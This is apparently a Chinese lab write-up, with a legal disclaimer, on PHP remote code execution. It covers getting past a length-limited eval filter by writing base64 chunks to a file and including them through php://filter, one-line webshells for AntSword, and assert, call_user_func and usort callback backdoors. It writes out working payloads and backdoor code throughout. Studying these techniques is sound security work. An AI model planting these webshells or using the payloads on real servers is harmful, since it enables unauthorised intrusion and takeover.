
免责声明本文全部实验操作均在本人完全可控的自建本地靶场环境完成文章仅用于网络安全原理学习与技术研究。 根据《中华人民共和国网络安全法》未经授权对任何第三方系统进行探测、命令执行、文件写入等操作属于违法行为。严禁复制、使用本文中的 Payload、代码应用到未获得授权的设备上。若读者将文中内容用于非法用途一切法律责任由行为人本人承担与本文作者无关。————————————————?php $param $_REQUEST[param]; if (strlen($param) 17 stripos($param, eval) false stripos($param, assert) false) { eval($param); }在前面已经知道了file_put_contents()是用来将数据写入文件第一个参数是文件名第二个参数是文件内容。file_put_contents第三个参数若省略默认值为 0会直接覆盖原文件内容如需追加写入需要传入FILE_APPEND标记。FILE_APPEND是 PHP 预定义位掩码常量底层C 宏定义对应数值为 8。内核仅识别参数整型的二进制位不识别脚本文本中的常量名因此可以直接使用数字8替代FILE_APPEND。file_put_contens绕过追加Base64编码PD9waHAgcGhwaW5mbygpOw即?php phpinfo();因为开头的 是 URL 保留字符在浏览器发送请求的时候会被 URL 解析器处理。所以选择用Base64来传值?1file_put_contentsparam$_GET[1](N,P,8);1的值就是get获取的再拼接就是实现了追加文本$_GET[1](N,P,8);刚好16位没有超过长度$_GET[1]读取上面参数1的值得到字符串file_put_contents成功写入依次全部传完后?paraminclude$_GET[1];1php://filter/readconvert.base64-decode/resourceNURL 传入 paraminclude$_GET[1];$paraminclude$_GET[1];长度 16无 eval/assert通过 if 条件eval($param) 执行代码include $_GET[1];读取 GET 参数1的值php://filter/readconvert.base64-decode/resourceNinclude()接收这个伪协议php://filter开始工作resourceN读取本地文件 N文件内容是 base64 字符串 PD9waHAgcGhwaW5mbygpOwreadconvert.base64‑decode读取文件的时候自动对文件内容做 base64 解码解码得到?php phpinfo();?include 的特性把解码完成的内容当做 PHP 代码执行最终运行phpinfo()基于此尝试把phpinfo()换成?php eval($_POST[6]);连接蚁剑密码是一句话木马的代码$_POST[6]中所使用的参数6call_user_funccall_user_func(回调函数, 传给回调的参数)第一个参数就是回调函数。第二个参数是该函数的参数。把一个函数 A当做参数传给另一个函数 B由函数 B 在内部去调用函数 AA 就叫回调函数。简单了解了后分析下面的代码?php call_user_func(assert,$_REQUEST[pass])all_user_func拿到函数名字符串assert在内部执行 assert($_REQUEST[pass])执行成功assert字符串执行仅 PHP ≤7.1 有效7.2 作废。PHP7.2 开始废弃assert()执行字符串代码的能力。新版本中assert()只做断言判断判断表达式真假不再解析执行 PHP 代码字符串。等价简写assert($_REQUEST[pass]);如果回调函数名字是用户可控的就会产生 RCE 代码执行漏洞。例call_user_func($_GET[func],$_GET[p]); 用户 GET 传入funcsystem就可以执行命令。$_GET[0]($_POST[1]);?php $_GET[0]($_POST[1]);?分析$_GET[0]GET 传入的参数 0这个参数的值会被当做函数名$_POST[1]POST 传入的参数 1当做上面函数的参数例如GET 传参给0指定要调用什么函数例如 ?0systemPOST 传参给1传入函数的参数例如 1whoamiPHP 解析变成system(whoami);实现 RCE 远程代码执行。利用成功这个后门在蚁剑中为什么选择编码base64能连接成功default不行连接失败切换编码器为base64发现连接成功抓包default模式下的流量对其url解码抓包base64模式下的流量解码发现不同点对其中的me660......的值再进行手动base64解码发现解码后的值与default解码的值一样分析结果对比抓包的流量中的信息发现在base64模式下assert 执行字符串eval(base64_decode($_POST[xxx]))PHP 不是从里面往外执行而是先执行外层函数。因此先执行assert()然后由assert()去触发执行里面的eval()。default 模式失败是因为 assert 直接执行完整 payload代码结构不符合 assert 的动态执行要求base64 模式成功是因为蚁剑把 payload 包装成 eval(base64_decode())assert 只需要执行一个函数调用表达式真正的代码执行交给 eval 完成。assert() 的动态执行要求传入的内容首先必须能被 PHP 解析成一个合法的表达式通常是一个函数调用或计算表达式而不能直接是一整段包含多条语句、函数定义、流程控制的 PHP 程序 assert() 如果接收到字符串会尝试把字符串当作PHP表达式(expression)执行。简单了来讲就是assert()只能接收单个表达式不能直接执行多条语句的完整PHP脚本。那直接把第一个参数值换成eval能执行吗答案是不行。为什么$_GET[0]($_POST[1]);的本质是取 GET 参数 0 的值当作函数名 调用它 参数是 POST 参数 1而在php中eval不是函数而是 PHP 语法结构。不能通过 $_GET[0]($_POST[1]) 这种变量函数方式调用。assert 是普通函数所以可以被动态调用usortusort ( array $array , callable $callback )使用自定义回调函数对数组按值排序会直接修改原数组引用传递 删除原有键名排序之后变成连续数字索引。返回值成功返回true失败返回false。参数$array要排序的数组传引用函数内部直接改变原数组$callback比较回调函数自定义排序规则。如果回调函数可控可以传入 assert造成代码执行。在这个代码中测试使用usort()usort(...$_GET);在php中叫...展开运算符usort(...$_GET);等价于把$_GET中的参数传给usort在url中的$_GET的值是 ?1[]phpinfo()1[]te;2assert所以$_GET [ 1 [ phpinfo(), te ], 2 assert ];外层eval 把字符串变成 PHP 代码。把字符串重新交给 PHP 解释器。执行usort(...$_GET);等价于usort( [ phpinfo(), te ], assert );接着assert()作为回调函数收到第一个参数为phpinfo()从而打印页面